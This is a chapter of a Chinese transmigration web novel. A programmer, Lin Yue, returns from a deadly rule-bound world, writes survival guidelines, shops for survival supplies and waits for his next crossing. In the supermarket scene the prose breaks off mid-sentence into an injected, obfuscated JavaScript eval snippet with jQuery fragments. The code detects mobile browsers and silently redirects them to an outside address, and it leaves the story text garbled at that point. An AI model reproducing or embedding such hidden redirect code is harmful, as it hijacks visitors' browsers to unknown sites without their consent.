早晨七点半的闹钟准时响起。
一段轻快的钢琴曲——某款解谜游戏的背景音乐。林越以前觉得这音乐能唤醒脑子，现在只觉得讽刺：他正在经历的，不就是一场真实到可怕的解谜游戏吗？只不过失败惩罚是死亡，而且没有存档点。
他睁开眼睛，盯着天花板看了三秒。那道熟悉的裂纹还在，从墙角延伸到中央，像地图上的一条河流。
“至少证明这个世界是连续的。”他自嘲，“时间在正常流动，房东还是没修屋顶。”
伸手关掉闹钟。
没有穿越。
没有异常。
没有突然消失的房间，没有陌生的天花板，没有手腕上出现红痕。一切如常，正常得让人不安。
他坐起身，床垫弹簧吱呀作响。第一件事是摸向床头柜。
双肩包还在。触感扎实，分量不轻——昨晚装进去的东西都在。
第二件事是摸口袋。
睡衣没有口袋。他愣了一下，翻身下床，从椅子的裤子里掏出那个小绒布袋。打开，玉坠静静躺在里面，冰凉光滑。
第三件事是看手腕。
皮肤光滑，没有红痕，没有黑痕，没有任何印记。他抬起左手，对着阳光仔细看，甚至用手指用力摩擦皮肤——除了正常的皮肤纹理，什么都没有。
“还在现实世界。”林越低声自语，语气里分辨不出是庆幸还是失望，“新手保护期彻底结束？还是说……这就是终点站？”
他下床，洗漱，换衣服。镜子里的人看起来和昨天没什么不同，除了眼睛底下有黑眼圈——昨晚没睡好，脑子里反复复盘龙语世界的细节，像放电影一样。
但精神意外地清醒。不是睡眠充足的那种清醒，而是过度刺激后的亢奋，像是喝了三杯浓缩咖啡。
那种感觉很奇怪：明明经历了一场超自然的穿越和死亡轮回，现在却要像没事人一样去上班，开站会，写代码，应付产品经理的傻逼需求。
“就像加班到凌晨三点回家，睡了四个小时又要来开早会。”林越对着镜子扯了扯嘴角，“只不过上次加班要钱，这次穿越要命。”
洗漱完毕，他没有立刻出门，而是坐在书桌前，翻开昨晚写的《轮回记录与生存指南》。
笔记本摊开，纸页上密密麻麻的文字：
第一次死亡：语言陷阱，被当北狄奸细，乱葬岗遗弃。
第二次死亡：沉默陷阱，被定不敬之罪，杖毙。
第三次死亡：禁忌陷阱，误说“龙”字，斩首。
第四次轮回：成功通关，救云瑶、解干旱、通水脉。
以及——
未解谜题清单：
1.黑水组织的目的？
2.包子铺老板的真实身份？
3.云瑶为什么知道“下个世界顺利”？
4.玉坠的秘密？
5.轮回机制是谁设计的？
问题很多，答案一个都没有。
但林越并不焦虑。程序员的工作习惯让他习惯了面对未知：先列出问题，再收集数据，最后分析解决。现在他处于“收集数据”阶段，信息不足是正常的。
他合上笔记本，开始思考更实际的问题：
如果再次穿越，会遇到什么样的世界？
龙语世界是古代社会，核心陷阱是语言、礼法、禁忌。那下一个世界呢？
根据常见的无限流套路，可能是未来世界、末世世界、奇幻世界、科幻世界……什么都有可能。
但林越怀疑，这些世界的选择可能不是随机的。龙语世界有个明显的主题：规则。语言的规则、礼法的规则、社会的规则。你触犯规则，你就死。
那么下一个世界，很可能也围绕着某种“规则”展开。只是规则的内容会变。
“信息。”林越在纸上写下这个词，“我需要更多信息，关于穿越机制，关于其他世界的可能形态。”
他打开电脑，在搜索框输入关键词：“穿越”、“无限流”、“轮回”、“规则怪谈”。
按下回车。页面加载，搜索结果铺天盖地。
他花了半个小时浏览，总结出几个常见模式，顺便吐槽：
“系统流……有系统界面、任务列表、商城系统。哦，还有积分，可以换技能换装备。这不错啊，至少有个进度条，知道自己离死还有多远。可惜我没有。”
“主神空间流……主神光球，轮回小队，恐怖片世界。还要组队？算了，我连公司团建都不想参加，更别说组队去恐怖片里送死了。”
“规则怪谈流……这个有点意思。遵循矛盾规则求生，像在玩文字游戏。不过龙语世界的规则也算‘怪谈’吧？不准说‘龙’字，不准沉默，不准直视上官——这些规则放现实世界也挺怪的。”
“死亡轮回流……这个最接近。不断死亡回到起点，寻找破局方法。但我这个好像还高级点，不是单纯的时间循环，是不同世界的轮回。就像不是单机游戏，是大型多人在线……虽然目前玩家好像只有我一个。”
他关掉浏览器，靠在椅背上。
“总结一下：我没有系统，没有主神，没有明确任务，没有队友，没有积分商城，没有技能树。我有的只是……三条命，和一个可能会再次把我扔到陌生世界的不知道什么玩意儿。”
他顿了顿，补充道：“哦，还有一个玉坠，但目前看来除了占地方没什么用。”
“真是豪华大礼包啊。”
没有系统，没有主神，没有明确任务，没有队友。他只是被动地穿越，被动地死亡，被动地寻找生存方法。
“被动……”林越皱眉，“太被动了。”
在龙语世界，他前三次轮回都是被规则推着走，直到第四次才主动制定计划、主动解决问题。但这还不够。如果下次穿越到一个完全陌生的世界，他没有时间去慢慢摸索规则——可能刚落地就触犯了某个即死规则。
他需要更快地适应，更快地识别陷阱，更快地找到通关方法。
“需要一套方法论。”他自言自语，打开一个新的文档。
标题：《跨世界生存通用准则（草案）》
然后开始写，像写技术文档一样，每条准则后面还加了括号注释——这是他写代码时的习惯：
第一条：观察优先（别像第一次穿越那样，落地就瞎跑，结果因为口音问题被当奸细。先看看周围有没有摄像头、有没有奇怪标语、有没有人拿着刀对你笑。）
第二条：信息收集（语言、文字、科技水平、社会制度、法律禁忌。就像接新项目要先看需求文档，虽然这个“文档”可能藏在NPC的对话里、墙上的公告上，或者某个倒霉蛋的尸体旁边。）
第三条：身份获取（没有身份的人就像没有权限的访客账号，什么也干不了，还容易被系统清理。尽快搞个合法身份，哪怕是临时工、学徒、流浪汉——有身份总比没身份强。）
第四条：资源储备（食物、水、住所、货币、工具。不要指望系统商城，你没有。也不要指望路边捡到神器，那概率比中彩票还低。自己准备好，像程序员随身带充电宝一样。）
第五条：人际关系（独狼难存活。找个本地人当“向导”，但别完全信任——就像别完全信任产品经理的需求一样。保持距离，互惠互利。）
第六条：风险评估（识别三种风险：立即致命风险（触犯即死）、短期风险（几天内死）、长期风险（几周或几个月后死）。优先级：先别立刻死，再别很快死，最后再考虑怎么活久点。）
第七条：道德底线（不主动害人，但也不做圣母。生存是第一要务，但不要为了生存变成怪物——那样即使活下来，也不再是“自己”了。平衡点：在保证自身安全的前提下，尽量不踩过线。）
第八条：心理调节（接受死亡的可能性，但不要放弃求生。保持黑色幽默，用荒诞解构恐惧，防止精神崩溃。方法：把每次死亡想象成游戏里的bad ending，把NPC想成AI，把规则想成bug——虽然这个bug可能会要你的命。）
林越写完八条准则，仔细看了一遍。
太理论化了。纸上谈兵。
真正面对死亡时，这些准则能起多大作用？他不知道。但他需要这些准则，需要一套思维框架来对抗未知带来的恐惧——就像在黑暗中走路，即使手电筒的光只能照亮前方三米，也比完全摸黑强。
他关掉电脑，看了一眼时间：上午十点。今天是周六，不用上班。
但他有更重要的事情要做——把理论变成实践。
林越背上双肩包，出门。
第一站：户外用品店。
店不大，玻璃橱窗里陈列着帐篷、登山杖、冲锋衣。推门进去，风铃“叮咚”响，店里有一股混合着橡胶、帆布和金属的味道。
店员是个年轻小伙子，穿着店里的T恤，正在整理货架。看到林越，笑着问：“先生需要什么？登山还是露营？”
“都要一点。”林越说，目光扫过货架，“可能还会遇到……极端天气，还有野生动物。”
“那就是全套装备了。”店员热情地介绍，“帐篷要防暴雨的，睡袋要抗寒的，冲锋衣要防风的。最近山区晚上能到零度以下。”
林越心想：我要面对的可能不是零度，而是零下几百度的未知世界，或者几百度的高温炼狱。但他只是点点头：“好，但我要轻便的，容易携带的。”
“那就是超轻系列。”店员从货架上拿下几样东西，“这个帐篷，只有两公斤，防水指数5000mm。这个睡袋，压缩后只有篮球大小，保暖到零下三十度。这个冲锋衣……”
“等等。”林越打断他，“我先要些更基础的东西。”
他在货架间走动，目标明确：净水片（一盒，够净化50升水）、能量棒（高热量，易携带，保质期长）、防风打火机（镁合金，防潮）、多功能军刀（十八种功能，包括锯子、钳子）、急救毯（锡箔材质，保温）、便携式过滤器（可直饮河水）。
拿到柜台，堆成一小堆。店员一边扫码一边好奇地问：“买这么多基础装备，是要去登山？还是野外生存训练？”
“算是吧。”林越说，“去一个……不太友好的地方。可能没有补给点，没有信号，没有救援。”
“那可得小心。”店员好心提醒，把东西装进塑料袋，“最近天气多变，有些路段还不稳定。最好结伴去，一个人危险。要不要买个卫星电话？虽然贵点，但关键时刻能救命。”
林越摇摇头：“不用了。”心想：卫星电话可能没用，因为我要去的可能是另一个世界，那里的“卫星”可能不是用来打电话的。
他付了钱，提着塑料袋出门。风铃又“叮咚”响了一声。
走到街上，他看了看手里的东西，自嘲：“净水片、能量棒、打火机……就差一把瑞士军刀，我就是标准的末日生存爱好者了。不过别人是为了应对丧尸爆发，我是为了应对……世界爆发。”
第二站：书店。
大型连锁书店，三层楼，周末上午人不少。空气里弥漫着油墨和纸张的味道。
林越直奔实用类书架，不是文学，不是小说，不是鸡汤，而是实实在在的生存知识：
《野外生存手册》（图文版，详细讲解取火、净水、搭建庇护所） 《急救知识图解》（心肺复苏、止血包扎、骨折固定） 《全球语言入门》（五十种常用语言的问候语和基础词汇） 《世界宗教简史》（了解主流宗教的禁忌和礼仪） 《基础物理学》（重力、浮力、简单机械原理） 《常见毒物识别》（植物、动物、化学毒物）
他抱着一摞书去结账，沉甸甸的。收银员是个戴眼镜的姑娘，一边扫码一边多看了他两眼。
“要袋子吗？”她问。
“要，大的。”林越说。书太多，手拿不了。
“您这是……要去周游世界？”收银员忍不住问。
“差不多吧。”林越说，“先预习一下。”
“那祝您旅途愉快。”收银员把书装进大塑料袋。
林越提着袋子走出书店，心想：旅途愉快？希望吧。只要别一落地就死，就算愉快了。
第三站：超市。
大型仓储超市，周末人山人海，推车碰撞声、小孩哭闹声、促销喇叭声混在一起。
林越推着购物车，在货架间快速穿梭，目标明确：
真空包装的肉类（牛肉干、猪肉脯，高蛋白，耐储存）压缩饼干（军用款，热量高，体积小）巧克力（黑巧克力，快速补充能量）维生素片（综合维生素，预防营养不良）瓶装水（六瓶，先应急）
他拿东西的速度很快，像在完成一项任务。旁边一个大妈好奇地看着他：“小伙子，买这么多，是要去露营？”
“对，露营。”林越敷衍道。
“露营好啊，亲近大自然。”大妈热情地说，“我儿子也喜欢露营，不过他每次都带一大堆东西，帐篷、烧烤架、音响……你们年轻人啊，就是会玩。”
林越点点头，推着车快速离开。心想：我这不是去玩，是去玩命。而且玩的是自己的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119403|195946||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
命。
结账时，他特意选了人工通道，避免自助结账的电子记录——虽然可能没什么用，现在到处都是摄像头，但小心点总没错。这是一种心理上的抵抗，虽然微弱，但至少证明他还有选择的意识。
收银员是个中年阿姨，一边扫码一边说：“这么多吃的，要去几天啊？”
“不确定。”林越说，“可能几天，可能……更久。”
“那得多带点。”阿姨好心地说，“野外天气变化大，注意安全啊。”
“谢谢。”林越付了钱，提着两大袋东西走出超市。
下午两点的阳光刺眼，他站在超市门口，看着手里的三个大袋子——户外用品、书、食物。突然觉得有点荒谬。
“别人周末去逛街、看电影、吃火锅。”他自嘲，“我周末在准备应对世界末日，或者世界穿越。这算不算另一种形式的宅？”
下午两点，林越回到家，把买回来的东西摊在客厅地上，开始整理。
背包主仓：书、压缩饼干、真空肉类、水。前袋：急救包、净水片、能量棒、维生素片。侧袋：多功能军刀、防风打火机、手电筒。贴身口袋：玉坠、现金、笔记本。
每样东西都检查一遍：保质期、包装完整性、功能是否正常。
整理完毕，背包更重了，但他背得动。在龙语世界挖了几天井，体力比之前好不少——这算是穿越带来的唯一好处。
他把包放在门口鞋柜旁，随时可以拎起来走。然后坐在沙发上，开始思考一个更根本的问题：
穿越的触发条件是什么？
在龙语世界，他是在加班后回家的路上，拿着关东煮和烤肠，突然就穿越了。没有预兆，没有仪式，没有特殊事件。
那下一次穿越，会在什么时候发生？
随时可能。也可能永远不会。
“等待是最煎熬的。”林越想起以前等测试结果的时候，明知道代码大概率有bug，但又不能提前修改，只能干等。现在也是，他知道穿越可能随时发生，但又不能主动触发，只能被动等待。
但他不喜欢被动。
他需要做一些能主动控制的事情，哪怕只是象征性的。
比如，测试。
林越拿起玉坠，那个小绒布袋。倒出玉坠，温润的白色玉石躺在掌心。
“你到底是什么？”他轻声问。
玉坠当然不会回答。
他尝试用各种方法“激活”玉坠：
对着它说大炎官话：“恰饭”“饮汤”“眠觉”。摩擦，泡水，放在阳光下暴晒。甚至用针扎破指尖，滴血上去——很疼，而且没用。
没有任何反应。
玉坠就是一块玉。在现实世界，它没有特殊功能，没有隐藏属性。
但林越不信。如果它真的只是一块普通的玉，为什么会在龙语世界有特殊反应？为什么云瑶要特意还给他？为什么它从脖子跑到了口袋？
“信息不足。”他放下玉坠，“继续观察。”
接下来几个小时，林越做了几件事：
身体检查：详细记录自己身体的每一个变化。除了手变粗糙了，其他似乎都正常。
技能复习：复习在龙语世界学到的技能。大炎官话的发音，礼法的基本规则，挖井的土办法，以及最重要的：死亡的经验。
心理准备：反复告诉自己：下次穿越可能会更危险，可能会死得更快，可能会面对完全无法理解的规则。但不要慌，慌张解决不了问题。
到晚上七点，天黑了。
林越打开灯，坐在书桌前，看着窗外逐渐亮起的万家灯火。
这座城市有上千万人，每个人都在过着自己的生活。没有人知道，他们中间有一个人曾经死过三次，现在正在等待第四次可能的死亡。
这种感觉很孤独。
但林越习惯了孤独。程序员的工作本来就是孤独的：面对屏幕，敲打键盘，解决一个又一个没人理解的技术问题。
只不过现在，他要解决的问题从“为什么这个接口返回500错误”变成了“怎么在下一个世界活下去”。
本质是一样的：分析问题，收集数据，提出假设，验证，修正，再验证。
他打开《轮回记录与生存指南》，在新的一页写下：
关于下次穿越的假设：
1.时间：无法预测，但可能在睡眠或放松警惕时发生。
2.地点：可能在任何地方，做好随时转移的准备。
3.世界类型：未知，但可能围绕某种“规则”展开。
4.初始状态：可能携带现有物品，也可能不携带。做好两手准备。
5.死亡风险：更高。新手保护期已过，可能只有三条命。
写完这些，林越停顿了一下，然后在最后加了一行，用力写下：
最重要的事：保持清醒，保持理性，保持人性。
他合上笔记本，走到窗边。
夜色中的城市依旧繁华，车流如织，霓虹闪烁。
一切都那么正常，正常得让人怀疑龙语世界是不是真的只是一场梦。
但林越知道不是。
他的手还在疼——不是伤口疼，是肌肉记忆的疼。挖井时磨出的茧子已经软化，但那种反复摩擦的感觉还留在神经末梢里。
他的脑子里还记着大炎官话的发音。
他的笔记本上还记录着四次轮回的每一个细节。
这些都是证据。
真实存在的证据。
林越转身走回卧室。把双肩包放在床边触手可及的地方。玉坠塞进贴身口袋。手机充上电。窗户检查一遍是否锁好。
然后他躺上床，闭上眼睛。
呼吸平稳，心跳正常。
没有恐惧，没有焦虑，只有一种近乎冷酷的平静。
他已经死过三次了。
他知道死亡是什么滋味：痛到无法感觉到疼痛，冰冷而绝望，然后黑暗，什么都不再存在。
他也知道活下来是什么感觉：又疼又累，但值得。
所以如果再次穿越，他会面对。如果再次死亡，他会承受。如果还有机会活下来，他会抓住。
就这么简单。
窗外传来远处酒吧的音乐声，年轻人的笑声，汽车驶过的呼啸。
而林越躺在床上，等待着。
等待下一次可能永远不会到来的穿越。
或者，等待下一秒就会降临的未知。
但他不慌。
因为打包好应急包的人，不会慌。